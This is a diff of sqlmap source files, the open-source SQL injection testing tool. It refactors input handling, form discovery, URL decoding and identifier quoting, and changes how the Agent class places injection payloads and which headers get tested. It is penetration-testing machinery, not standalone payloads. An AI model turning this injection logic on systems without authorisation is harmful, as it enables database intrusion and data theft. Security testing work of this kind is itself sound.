@@ -129,7 +131,7 @@ def _selectInjection():
message += "[q] Quit"
choice = readInput(message, default='0').upper()
if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
index = int(choice)
elif choice == 'Q':
raise SqlmapUserQuitException
@@ -202,10 +204,11 @@ def _randomFillBlankFields(value):
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
item = match.group("result")
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
retVal = retVal.replace(item, "%s%s" % (item, newValue))
return retVal
@@ -256,13 +259,9 @@ def _saveToResultsFile():
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line)
if not results:
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.write(line)
conf.resultsFP.flush()
except IOError as ex:
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
@stackedmethod
@@ -292,7 +291,7 @@ def start():
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
hostCount = 0
@@ -300,7 +299,6 @@ def start():
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try:
if conf.checkInternet:
infoMsg = "checking for Internet connection"
logger.info(infoMsg)
@@ -316,7 +314,7 @@ def start():
dataToStdout("\n")
conf.url = targetUrl
conf.method = targetMethod.upper() if targetMethod else targetMethod
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
@@ -374,7 +372,7 @@ def start():
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -389,7 +387,7 @@ def start():
break
else:
if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
@@ -458,18 +456,18 @@ def start():
for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))
# --param-filter
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
# Test Host header only if
# --level >= 5
skip |= (place == PLACE.HOST and conf.level < 5)
skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))
# Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
@@ -484,9 +482,6 @@ def start():
if skip:
continue
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict:
continue
@@ -740,9 +735,9 @@ def start():
logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
if conf.multipleTargets:
if conf.resultsFilename:
if conf.resultsFile:
infoMsg = "you can find results of scanning in multiple targets "
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
logger.info(infoMsg)
return True
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+20 -9
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -121,7 +121,7 @@ class Agent(object):
paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = origValue.split('>')[-1]
origValue = re.split(r"['\">]", origValue)[-1]
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
else:
@@ -176,12 +176,16 @@ class Agent(object):
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, kb.customInjectionMark)
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % newValue
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
newValue = "'%s'" % newValue
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
else:
newValue = self.addPayloadDelimiters(newValue)
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
retVal = paramString.replace(_, newValue)
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
@@ -243,7 +247,7 @@ class Agent(object):
# If we are replacing (<where>) the parameter original value with
# our payload do not prepend with the prefix
if where == PAYLOAD.WHERE.REPLACE:
if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
query = ""
# If the technique is stacked queries (<stype>) do not put a space
@@ -447,7 +451,7 @@ class Agent(object):
else:
nulledCastedField = rootQuery.isnull.query % nulledCastedField
kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',')
kb.binaryField = conf.binaryFields and field in conf.binaryFields
if conf.hexConvert or kb.binaryField:
nulledCastedField = self.hexConvertField(nulledCastedField)
@@ -1111,7 +1115,12 @@ class Agent(object):
def whereQuery(self, query):
if conf.dumpWhere and query:
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
if match:
suffix = match.group(0)
prefix = query[:-len(suffix)]
else:
prefix, suffix = query, ""
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1120,7 +1129,9 @@ class Agent(object):
else:
prefix += " WHERE %s" % conf.dumpWhere
query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
query = prefix
if suffix:
query += suffix
return query
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+175 -76
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -130,6 +130,7 @@ from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
from lib.core.settings import HASHDB_MILESTONE_VALUE
from lib.core.settings import HOST_ALIASES
from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import IGNORE_SAVE_OPTIONS
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import IP_ADDRESS_REGEX
@@ -1103,7 +1104,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
kb.prependFlag = False
retVal = _input().strip() or default
retVal = _input()
if not retVal: # Note: Python doesn't print newline on empty input
dataToStdout("\n")
retVal = retVal.strip() or default
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
except:
try:
@@ -1122,8 +1126,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
if boolean:
retVal = retVal.strip().upper() == 'Y'
else:
retVal = retVal or ""
return retVal or ""
return retVal
def setTechnique(technique):
"""
@@ -1231,7 +1237,7 @@ def checkPipedInput():
# Reference: https://stackoverflow.com/a/33873570
"""
return not os.isatty(sys.stdin.fileno())
return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
def isZipFile(filename):
"""
@@ -1245,6 +1251,22 @@ def isZipFile(filename):
return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
def isDigit(value):
"""
Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic)
>>> u'\xb2'.isdigit()
True
>>> isDigit(u'\xb2')
False
>>> isDigit('123456')
True
>>> isDigit('3b3')
False
"""
return re.search(r"\A[0-9]+\Z", value or "") is not None
def checkFile(filename, raiseOnError=True):
"""
Checks for file existence and readability
@@ -1626,7 +1648,7 @@ def parseTargetUrl():
if '=' not in urlSplit.query:
conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
else:
conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
debugMsg = "setting the HTTP Referer header to the target URL"
@@ -1680,7 +1702,7 @@ def expandAsteriskForColumns(expression):
if db is None:
if expression != conf.sqlQuery:
conf.db = db
else:
elif conf.db:
expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression)
else:
conf.db = db
@@ -1953,7 +1975,7 @@ def safeFilepathEncode(filepath):
retVal = filepath
if filepath and six.PY2 and isinstance(filepath, six.text_type):
retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING)
return retVal
@@ -2746,7 +2768,7 @@ def findMultipartPostBoundary(post):
return retVal
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
"""
URL decodes given value
@@ -3178,7 +3200,10 @@ def isDBMSVersionAtLeast(minimum):
parts[1] = filterStringValue(parts[1], '[0-9]')
version = '.'.join(parts)
version = float(filterStringValue(version, '[0-9.]')) + correction
try:
version = float(filterStringValue(version, '[0-9.]')) + correction
except ValueError:
return None
if isinstance(minimum, six.string_types):
if '.' in minimum:
@@ -3464,6 +3489,23 @@ def flattenValue(value):
else:
yield i
def joinValue(value, delimiter=','):
"""
Returns a value consisting of joined parts of a given value
>>> joinValue(['1', '2'])
'1,2'
>>> joinValue('1')
'1'
"""
if isListLike(value):
retVal = delimiter.join(value)
else:
retVal = value
return retVal
def isListLike(value):
"""
Returns True if the given value is a list-like instance
@@ -3543,8 +3585,14 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
>>> "openFile" in openFile(__file__).read()
True
>>> b"openFile" in openFile(__file__, "rb", None).read()
True
"""
# Reference: https://stackoverflow.com/a/37462452
if 'b' in mode:
buffering = 0
if filename == STDIN_PIPE_DASH:
if filename not in kb.cache.content:
kb.cache.content[filename] = sys.stdin.read()
@@ -3574,16 +3622,20 @@ def decodeIntToUnicode(value):
try:
if value > 255:
_ = "%x" % value
if len(_) % 2 == 1:
_ = "0%s" % _
raw = decodeHex(_)
if Backend.isDbms(DBMS.MYSQL):
# Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord
# Note: https://github.com/sqlmapproject/sqlmap/issues/1531
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
elif Backend.isDbms(DBMS.MSSQL):
retVal = getUnicode(raw, "UTF-16-BE") # References: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
retVal = getUnicode(raw, "UTF-16-BE")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
retVal = _unichr(value)
else:
retVal = getUnicode(raw, conf.encoding)
@@ -3787,6 +3839,8 @@ def maskSensitiveData(msg):
>>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner'
True
>>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************'
True
"""
retVal = getUnicode(msg)
@@ -4001,6 +4055,14 @@ def safeSQLIdentificatorNaming(name, isTable=False):
Returns a safe representation of SQL identificator name (internal data format)
# Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal
>>> pushValue(kb.forcedDbms)
>>> kb.forcedDbms = DBMS.MSSQL
>>> getText(safeSQLIdentificatorNaming("begin"))
'[begin]'
>>> getText(safeSQLIdentificatorNaming("foobar"))
'foobar'
>>> kb.forceDbms = popValue()
"""
retVal = name
@@ -4015,9 +4077,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.upper()
@@ -4040,14 +4102,22 @@ def safeSQLIdentificatorNaming(name, isTable=False):
def unsafeSQLIdentificatorNaming(name):
"""
Extracts identificator's name from its safe SQL representation
>>> pushValue(kb.forcedDbms)
>>> kb.forcedDbms = DBMS.MSSQL
>>> getText(unsafeSQLIdentificatorNaming("[begin]"))
'begin'
>>> getText(unsafeSQLIdentificatorNaming("foobar"))
'foobar'
>>> kb.forceDbms = popValue()
"""
retVal = name
if isinstance(name, six.string_types):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
retVal = name.replace("`", "")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = name.replace("\"", "").upper()
@@ -4299,11 +4369,16 @@ def asciifyUrl(url, forceQuote=False):
if all(char in string.printable for char in url):
return getText(url)
hostname = parts.hostname
if isinstance(hostname, six.binary_type):
hostname = getUnicode(hostname)
# idna-encode domain
try:
hostname = parts.hostname.encode("idna")
except LookupError:
hostname = parts.hostname.encode("punycode")
hostname = hostname.encode("idna")
except:
hostname = hostname.encode("punycode")
# UTF8-quote the other parts. We check each part individually if
# if needs to be quoted - that should catch some additional user
@@ -4400,9 +4475,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
try:
forms = ParseResponse(response, backwards_compat=False)
except ParseError:
if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
logger.warning(warnMsg)
if re.search(r"(?i)<!DOCTYPE html|<html", content or "") and not re.search(r"(?i)\.js(\?|\Z)", url):
dbgMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
logger.debug(dbgMsg)
filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
if filtered and filtered != content:
@@ -4417,54 +4492,77 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
except:
pass
if forms:
for form in forms:
try:
for control in form.controls:
if hasattr(control, "items") and not any((control.disabled, control.readonly)):
# if control has selectable items select first non-disabled
for item in control.items:
if not item.disabled:
if not item.selected:
item.selected = True
break
for form in forms or []:
try:
for control in form.controls:
if hasattr(control, "items") and not any((control.disabled, control.readonly)):
# if control has selectable items select first non-disabled
for item in control.items:
if not item.disabled:
if not item.selected:
item.selected = True
break
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
dbgMsg = "skipping '%s'" % form.action
logger.debug(dbgMsg)
continue
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
dbgMsg = "skipping '%s'" % form.action
logger.debug(dbgMsg)
continue
request = form.click()
except (ValueError, TypeError) as ex:
errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex)
if raise_:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
request = form.click()
except (ValueError, TypeError) as ex:
errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex)
if raise_:
raise SqlmapGenericException(errMsg)
else:
url = urldecode(request.get_full_url(), kb.pageEncoding)
method = request.get_method()
data = request.data
data = urldecode(data, kb.pageEncoding, spaceplus=False)
logger.debug(errMsg)
else:
url = urldecode(request.get_full_url(), kb.pageEncoding)
method = request.get_method()
data = request.data
data = urldecode(data, kb.pageEncoding, spaceplus=False)
if not data and method and method.upper() == HTTPMETHOD.POST:
debugMsg = "invalid POST form with blank data detected"
logger.debug(debugMsg)
continue
if not data and method and method.upper() == HTTPMETHOD.POST:
debugMsg = "invalid POST form with blank data detected"
logger.debug(debugMsg)
continue
# flag to know if we are dealing with the same target host
_ = checkSameHost(response.geturl(), url)
# flag to know if we are dealing with the same target host
_ = checkSameHost(response.geturl(), url)
if conf.scope:
if not re.search(conf.scope, url, re.I):
continue
elif not _:
continue
else:
target = (url, method, data, conf.cookie, None)
retVal.add(target)
else:
if data:
data = data.lstrip("&=").rstrip('&')
if conf.scope and not re.search(conf.scope, url, re.I):
continue
elif data and not re.sub(r"(%s)=[^&]*&?" % '|'.join(IGNORE_PARAMETERS), "", data):
continue
elif not _:
continue
else:
target = (url, method, data, conf.cookie, None)
retVal.add(target)
for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
data = ""
for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content):
url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
data = match.group(3)
data = re.sub(r"\s*\+\s*[^\s'\"]+|[^\s'\"]+\s*\+\s*", "", data)
data = data.strip("['\"]")
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
if not retVal and not conf.crawlDepth:
errMsg = "there were no forms found at the given target URL"
if raise_:
raise SqlmapGenericException(errMsg)
@@ -4665,18 +4763,19 @@ def decodeDbmsHexValue(value, raw=False):
else:
retVal = decodeHex(value)
if not kb.binaryField and not raw:
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
try:
retVal = retVal.decode("utf-16-le")
except UnicodeDecodeError:
pass
if not raw:
if not kb.binaryField:
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
try:
retVal = retVal.decode("utf-16-le")
except UnicodeDecodeError:
pass
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
try:
retVal = retVal.decode("utf-16-be")
except UnicodeDecodeError:
pass
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
try:
retVal = retVal.decode("utf-16-be")
except UnicodeDecodeError:
pass
if not isinstance(retVal, six.text_type):
retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
@@ -4830,7 +4929,7 @@ def prioritySortColumns(columns):
"""
def _(column):
return column and "id" in column.lower()
return column and re.search(r"^id|id$", column, re.I) is not None
return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
@@ -4976,7 +5075,7 @@ def parseRequestFile(reqFile, checkParams=True):
port, request = match.groups()
try:
request = decodeBase64(request, binary=False)
except binascii.Error:
except (binascii.Error, TypeError):
continue
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+30 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -19,6 +19,7 @@ import re
import sys
from lib.core.bigarray import BigArray
from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import kb
from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
@@ -31,6 +32,11 @@ from lib.core.settings import UNICODE_ENCODING
from thirdparty import six
from thirdparty.six import unichr as _unichr
try:
from html import escape as htmlEscape
except ImportError:
from cgi import escape as htmlEscape
def base64pickle(value):
"""
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
@@ -231,6 +237,11 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
retVal = value
try:
codecs.lookup(encoding)
except LookupError:
encoding = UNICODE_ENCODING
if isinstance(value, six.text_type):
if INVALID_UNICODE_PRIVATE_AREA:
if unsafe:
@@ -263,7 +274,7 @@ def getOrds(value):
def getUnicode(value, encoding=None, noneToNull=False):
"""
Return the unicode representation of the supplied value:
Returns the unicode representation of the supplied value
>>> getUnicode('test') == u'test'
True
@@ -375,3 +386,20 @@ def stdoutEncode(value):
retVal = value
return retVal
def getConsoleLength(value):
"""
Returns console width of unicode values
>>> getConsoleLength("abc")
3
>>> getConsoleLength(u"\\u957f\\u6c5f")
4
"""
if isinstance(value, six.text_type):
retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
else:
retVal = len(value)
return retVal
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+16 -26
View File
@@ -1,11 +1,10 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import cgi
import hashlib
import os
import re
@@ -28,8 +27,10 @@ from lib.core.common import safeCSValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.compat import xrange
from lib.core.convert import getBytes
from lib.core.convert import getConsoleLength
from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.convert import htmlEscape
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -68,13 +69,12 @@ class Dump(object):
self._lock = threading.Lock()
def _write(self, data, newline=True, console=True, content_type=None):
if conf.api:
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
return
text = "%s%s" % (data, "\n" if newline else " ")
if console:
if conf.api:
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
elif console:
dataToStdout(text)
multiThreadMode = isMultiThreadMode()
@@ -116,7 +116,6 @@ class Dump(object):
def string(self, header, data, content_type=None, sort=True):
if conf.api:
self._write(data, content_type=content_type)
return
if isListLike(data):
self.lister(header, data, content_type, sort)
@@ -136,8 +135,6 @@ class Dump(object):
self._write("%s:\n---\n%s\n---" % (header, _))
else:
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
else:
self._write("%s:\tNone" % header)
def lister(self, header, elements, content_type=None, sort=True):
if elements and sort:
@@ -150,7 +147,6 @@ class Dump(object):
if conf.api:
self._write(elements, content_type=content_type)
return
if elements:
self._write("%s [%d]:" % (header, len(elements)))
@@ -197,12 +193,11 @@ class Dump(object):
self._areAdmins = userSettings[1]
userSettings = userSettings[0]
users = list(userSettings.keys())
users = [_ for _ in userSettings.keys() if _ is not None]
users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
if conf.api:
self._write(userSettings, content_type=content_type)
return
if userSettings:
self._write("%s:" % header)
@@ -236,7 +231,6 @@ class Dump(object):
if isinstance(dbTables, dict) and len(dbTables) > 0:
if conf.api:
self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
return
maxlength = 0
@@ -245,7 +239,7 @@ class Dump(object):
if table and isListLike(table):
table = table[0]
maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or getUnicode(table))))
